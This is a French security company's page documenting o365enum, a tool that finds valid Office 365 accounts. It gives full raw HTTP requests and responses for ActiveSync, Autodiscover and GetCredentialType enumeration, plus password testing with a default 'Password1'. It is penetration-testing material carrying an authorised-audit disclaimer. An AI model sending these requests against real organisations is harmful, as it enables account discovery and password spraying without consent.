Entreprise d'experts en Sécurité Informatique : Audits et conseils en cybersécurité
Entreprise française de cybersécurité depuis 2004
☎ 03 60 47 09 81 - info@securiteinfo.com

o365enum : Trouver la liste des utilisateurs d'Office 365


OUTIL DE HACKING CRACKING AUTHENTIFICATION MOT DE PASSE WINDOWS

Utilisation

o365enum va lire les login à partir d'un fichier fournit en premier argument. Le fichier doit comporter un login par ligne. Le résultat est un fichier de type CSV ce qui permet une analyse facile. Les status valides peuvent être 0 (utilisateur invalide), 1 (utilisateur valide), 2 (utilisateur et mot de passe valides).

python3.6 o365enum.py -h
usage: o365enum.py [-h] -u USERLIST [-p PASSWORD] [-n NUM] [-v]
                   [-m {activesync,autodiscover,office.com}]
Office365 User Enumeration Script
optional arguments: -h, --help show this help message and exit -u USERLIST, --userlist USERLIST username list one per line (default: None) -p PASSWORD, --password PASSWORD password to try (default: Password1) -n NUM, --num NUM # of reattempts to remove false negatives (default: 3) -v, --verbose Enable verbose output at urllib level (default: False) -m {activesync,autodiscover,office.com}, --method {activesync,autodiscover,office.com} method to use (default: activesync)
Exemple d'utilisation:

./o365enum.py -u users.txt -p Password2 -n 1 -m activesync
username,valid
nonexistent@contoso.com,0
existing@contoso.com,1

Méthodes d'énumerations

Énumération avec ActiveSync

Cette méthode est basée sur la méthode de grimhacker qui envoie une demande d'authentification "Basic HTTP" au serveur ActiveSync. Cependant, vérifier le code de statut ne fonctionne plus étant donné qu'Office365 retourne un 401, que l'utilisateur existe ou pas..

A la place, nous envoyons la même requête, mais vérifie la présence d'une entête HTTP particulière (X-MailboxGuid)pour identifier si un login est valide ou non.

Acompte existants

La requête suivante contient les identifiants encodés en Base64 dans l'entête "Authorization" : valid_user@contoso.com:Password1

OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 0
Authorization: Basic dmFsaWRfdXNlckBjb250b3NvLmNvbTpQYXNzd29yZDE=
Cela provoque la réponse suivante ("401 Unauthorized") avec la présence de l'entête X-MailboxGuid, indiquant que ce nom d'utilisateur est valide, mais pas le mot de passe :

Date: Fri, 31 Jan 2020 13:02:46 GMT
Connection: close
HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
request-id: d494a4bc-3867-436a-93ef-737f9e0522eb
X-CalculatedBETarget: AM0PR09MB2882.eurprd09.prod.outlook.com
X-BackEndHttpStatus: 401
X-RUM-Validated: 1
X-MailboxGuid: aadaf467-cd08-4a23-909b-9702eca5b845 <--- This header leaks the account status (existing)
X-DiagInfo: AM0PR09MB2882
X-BEServer: AM0PR09MB2882
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 401
X-Powered-By: ASP.NET
X-FEServer: AM0PR06CA0096
WWW-Authenticate: Basic Realm="",Negotiate
Date: Fri, 31 Jan 2020 13:02:46 GMT
Connection: close
--snip--

Acompte qui n'existe pas

La requête suivante contient les identifiants encodés en Base64 dans l'entête "Authorization" : invalid_user@contoso.com:Password1

OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 2
Authorization: Basic aW52YWxpZF91c2VyQGNvbnRvc28uY29tOlBhc3N3b3JkMQ==
Cela provoque la réponse suivante ("401 Unauthorized") mais sans la présence de l'entête X-MailboxGuid, indiquant que l'utilisateur est invalide

HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
request-id: 2944dbfc-8a1e-4759-a8a2-e4568950601d
X-CalculatedFETarget: DB3PR0102CU001.internal.outlook.com
X-BackEndHttpStatus: 401
WWW-Authenticate: Basic Realm="",Negotiate
X-FEProxyInfo: DB3PR0102CA0017.EURPRD01.PROD.EXCHANGELABS.COM
X-CalculatedBETarget: DB7PR04MB5452.eurprd04.prod.outlook.com
X-BackEndHttpStatus: 401
X-RUM-Validated: 1
X-DiagInfo: DB7PR04MB5452
X-BEServer: DB7PR04MB5452
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 401
X-FEServer: DB3PR0102CA0017
X-Powered-By: ASP.NET
X-FEServer: AM0PR04CA0024
Date: Fri, 31 Jan 2020 16:19:11 GMT
Connection: close
--snip--

Énumération par Autodiscover

Le serveur autodiscover permet de rechercher des utilisateurs sans faire de tentatives d'authentification. Le serveur retourne un code de statut "200" si l'utilisateur existe, et "302" s'il n'existe pas (sauf si la redirection est effectuée vers un serveur Exchange sur site).

Utilisateur existant


GET /autodiscover/autodiscover.json/v1.0/existing@contoso.com?Protocol=Autodiscoverv1 HTTP/1.1
Host: outlook.office365.com
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
MS-ASProtocolVersion: 14.0

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 97
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
request-id: fee7f899-7115-43da-9d34-d3ee19920a89
X-CalculatedBETarget: AM0PR09MB2882.eurprd09.prod.outlook.com
X-BackEndHttpStatus: 200
X-RUM-Validated: 1
X-AspNet-Version: 4.0.30319
X-DiagInfo: AM0PR09MB2882
X-BEServer: AM0PR09MB2882
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 200
X-Powered-By: ASP.NET
X-FEServer: AM0PR0202CA0008
Date: Mon, 02 Mar 2020 12:50:48 GMT
Connection: close
{"Protocol":"Autodiscoverv1","Url":"https://outlook.office365.com/autodiscover/autodiscover.xml"}

Utilisateur inexistant


GET /autodiscover/autodiscover.json/v1.0/nonexistent@contoso.com?Protocol=Autodiscoverv1 HTTP/1.1
Host: outlook.office365.com
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
MS-ASProtocolVersion: 14.0

HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 277
Content-Type: text/html; charset=utf-8
Location: https://outlook.office365.com/autodiscover/autodiscover.json?Email=nonexistent%40contoso.com&Protocol=Autodiscoverv1&RedirectCount=1
Server: Microsoft-IIS/10.0
request-id: 1c50adeb-53ac-41b9-9c34-7045cffbae45
X-CalculatedBETarget: DB6PR0202MB2568.eurprd02.prod.outlook.com
X-BackEndHttpStatus: 302
X-RUM-Validated: 1
X-AspNet-Version: 4.0.30319
X-DiagInfo: DB6PR0202MB2568
X-BEServer: DB6PR0202MB2568
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 302
X-Powered-By: ASP.NET
X-FEServer: AM0PR0202CA0013
Date: Mon, 02 Mar 2020 12:50:50 GMT
Connection: close
<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="https://outlook.office365.com/autodiscover/autodiscover.json?Email=nonexistent%40contoso.com&Protocol=Autodiscoverv1&RedirectCount=1">here<a>.<h2>

Énumération avec Office.com

ATTENTION: Cette méthode ne fonctionne que si l'organisation a souscrit un abonnement "Exchange Online" et qui n'ont pas de déploiement sur site ou hybride du serveur Exchange.
Pour les entreprises qui utilisent des serveurs Exchange sur site ou un déploiement hybride et en fonction d'une configuration encore non identifiée, le serveur peut renvoyer une valeur indiquant que le nom d'utilisateur existe pour toute valeur de nom d'utilisateur.
Cette méthode est utile si vous ne souhaitez pas brûler une tentative d'authentification avec "Password1" :)

Utilisateur existant

Quand le compte existe, IfExistsResult est positionné à 0.

POST /common/GetCredentialType?mkt=en-US HTTP/1.1
Host: login.microsoftonline.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Accept: application/json
Connection: close
client-request-id: 4345a7b9-9a63-4910-a426-35363201d503
hpgrequestid: 23975ac9-f51c-443a-8318-db006fd83100
Referer: https://login.microsoftonline.com/common/oauth2/authorize
canary: --snip--
hpgact: 1800
hpgid: 1104
Origin: https://login.microsoftonline.com
Cookie: --snip--
Content-Length: 1255
Content-Type: application/json
{ "checkPhones": false, "isOtherIdpSupported": true, "isRemoteNGCSupported": true, "federationFlags": 0, "isCookieBannerShown": false, "isRemoteConnectSupported": false, "isSignup": false, "originalRequest": "rQIIA--snip--YWSO2", "isAccessPassSupported": true, "isFidoSupported": false, "isExternalFederationDisallowed": false, "username": "existing@contoso.com", "forceotclogin": false }

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
client-request-id: 177110da-7ce4-4880-b856-be6326078046
x-ms-request-id: c708b83f-4167-4b4c-a1db-d2011ecb3200
x-ms-ests-server: 2.1.9966.8 - AMS2 ProdSlices
Referrer-Policy: strict-origin-when-cross-origin
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Set-Cookie: fpc=ArU-Dva0f59Eg4tV3VsXTsYIXWAQAAAFRGxtUOAAAA; expires=Sun, 01-Mar-2020 16:01:26 GMT; path=/; secure; HttpOnly; SameSite=None
Set-Cookie: x-ms-gateway-slice=prod; path=/; SameSite=None; secure; HttpOnly
Set-Cookie: stsservicecookie=ests; path=/; secure; HttpOnly; SameSite=None
Date: Fri, 31 Jan 2020 16:01:26 GMT
Connection: close
Content-Length: 587
{ "Username":"existing@contoso.com", "Display":"existing@contoso.com", "IfExistsResult":0, "ThrottleStatus":0, "Credentials":{ "PrefCredential":1, "HasPassword":true, "RemoteNgcParams":null, "FidoParams":null, "SasParams":null }, "EstsProperties":{ "UserTenantBranding":null, "DomainType":3 }, "IsSignupDisallowed":true, "apiCanary":"--snip--" }

Utilisateur inexistant

Quand le compte n'existe pas, IfExistsResult est positionné à 1.

POST /common/GetCredentialType?mkt=en-US HTTP/1.1
Host: login.microsoftonline.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Accept: application/json
Connection: close
client-request-id: 4345a7b9-9a63-4910-a426-35363201d503
hpgrequestid: 23975ac9-f51c-443a-8318-db006fd83100
Referer: https://login.microsoftonline.com/common/oauth2/authorize
canary: --snip--
hpgact: 1800
hpgid: 1104
Origin: https://login.microsoftonline.com
Cookie: --snip--
Content-Length: 1255
Content-Type: application/json
{ "checkPhones": false, "isOtherIdpSupported": true, "isRemoteNGCSupported": true, "federationFlags": 0, "isCookieBannerShown": false, "isRemoteConnectSupported": false, "isSignup": false, "originalRequest": "rQIIA--snip--YWSO2", "isAccessPassSupported": true, "isFidoSupported": false, "isExternalFederationDisallowed": false, "username": "nonexistent@contoso.com", "forceotclogin": false }

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
client-request-id: 95bba645-c3b0-4566-b0f4-237bd3df2ca7
x-ms-request-id: fea01b74-7a60-4142-a54d-7aa8f6471c00
x-ms-ests-server: 2.1.9987.14 - WEULR2 ProdSlices
Referrer-Policy: strict-origin-when-cross-origin
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Set-Cookie: fpc=Ai0TKYuyz3BCp7OL29pUnG7sYIXWAQAAABsDztUOAAAA; expires=Sat, 07-Mar-2020 12:57:44 GMT; path=/; secure; HttpOnly; SameSite=None
Set-Cookie: x-ms-gateway-slice=estsfd; path=/; SameSite=None; secure; HttpOnly
Set-Cookie: stsservicecookie=ests; path=/; secure; HttpOnly; SameSite=None
Date: Thu, 06 Feb 2020 12:57:43 GMT
Connection: close
Content-Length: 579
{ "ThrottleStatus": 0, "apiCanary": "--snip--", "Username": "nonexistent@contoso.com", "IfExistsResult": 1, "EstsProperties": { "UserTenantBranding": null, "DomainType": 3 }, "Credentials": { "PrefCredential": 1, "FidoParams": null, "RemoteNgcParams": null, "SasParams": null, "HasPassword": true }, "IsSignupDisallowed": true, "Display": "nonexistent@contoso.com" }

Contributeurs

Avertissement


L'utilisation de ce programme ne peut se faire que dans le cadre légal d'un audit de vulnérabilités, basé sur le consentement mutuel. Il est de la responsabilité de l'utilisateur final de ne pas utiliser ce programme dans un autre cadre. SecuriteInfo.com n'assume aucune responsabilité et n'est pas responsable de toute mauvaise utilisation ou de tout dommage causé par ce programme.

Téléchargement


Tags


OUTIL DE HACKING CRACKING AUTHENTIFICATION MOT DE PASSE WINDOWS


Inscription à notre lettre d'information


Inscrivez-vous à notre lettre d'information pour vous tenir au courant de nos actualités et de nos dernières trouvailles.


SecuriteInfo.com est une entreprise française de cybersécurité. Nous proposons différentes solutions matérielles et prestations de services permettant de sécuriser les données des Systèmes d'Information d'entreprises ou de collectivités. Notre périmètre d'intervention couvre l'intégralité de votre système d'information : Sécurité périmétrique, réseaux, accès distants, VPN, solutions anti-spam et anti-malwares, différents audits réseaux et systèmes, vérification de la politique de sécurité, hébergement sécurisé ...
Facebook SecuriteInfo.com
Twitter de SecuriteInfo.com
Github de SecuriteInfo.com
Calculs scientifiques distribués contre les maladies, équipe SecuriteInfo.com
Depuis 2015, SecuriteInfo.com soumet et analyse des malwaressur VirusTotal
Depuis 2020, SecuriteInfo.com participe à la lutte antivirale avec nos amis suisses de Malware Baazar (Abuse.ch)
© 2000-2026 - Tous droits réservés SecuriteInfo.com